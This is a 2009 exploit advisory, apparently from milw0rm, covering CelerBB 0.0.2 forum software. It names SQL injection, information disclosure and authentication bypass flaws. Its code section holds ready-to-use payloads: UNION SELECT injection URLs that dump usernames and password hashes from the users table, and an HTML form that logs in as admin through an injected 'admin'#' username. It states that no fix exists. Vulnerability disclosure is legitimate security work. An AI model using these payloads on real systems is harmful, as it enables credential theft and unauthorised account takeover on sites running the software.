*******   Salvatore "drosophila" Fresta   *******

[+] Application: CelerBB
[+] Version: 0.0.2
[+] Website: http://celerbb.sourceforge.net/

[+] Bugs: [A] Multiple SQL Injection
          [B] Information Disclosure
          [C] Authenticaion Bypass

[+] Exploitation: Remote
[+] Date: 05 Mar 2009

[+] Discovered by: Salvatore "drosophila" Fresta
[+] Author: Salvatore "drosophila" Fresta
[+] Contact: e-mail: drosophilaxxx@gmail.com


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[+] Menu

1) Bugs
2) Code
3) Fix


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[+] Bugs


- [A] Multiple SQL Injection

[-] Requisites: magic_quotes_gpc = off
[-] File affected: viewforum.php, viewtopic.php

This bug allows a guest to view username and
password list.


- [B] Information Disclosure

[-] Requisites: none
[-] File affected: showme.php

This bug allows a guest to view reserved
information of any user.


- [C] Authentication Bypass

[-] Requisites: magic_quotes_gpc = off
[-] File affected: login.php

This bug allows a guest to bypass authentication.


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[+] Code


- [A] Multiple SQL Injection

http://www.site.com/path/viewforum.php?id=-1' UNION ALL SELECT 1,2,GROUP_CONCAT(CONCAT(username, 0x3a, password)),4,5,6,7,8 FROM celer_users%23

http://www.site.com/path/viewtopic.php?id=1' UNION ALL SELECT 1,2,3,NULL,5,6,GROUP_CONCAT(CONCAT(username, 0x3a, password)),NULL FROM celer_users%23


- [B] Information Disclosure

http://www.site.com/path/showme.php?user=admin


- [C] Authentication Bypass

<html>
  <head>
    <title>CelerBB 0.0.2 Authentication Bypass Exploit</title>
  </head>
  <body>
    <form action="login.php" method="POST">
      <input type="hidden" name="Username" value="admin'#">
      <input type="submit" value="Exploit">
    </form>
  </body>
</html>


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[+] Fix

No fix.


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# milw0rm.com [2009-03-05]
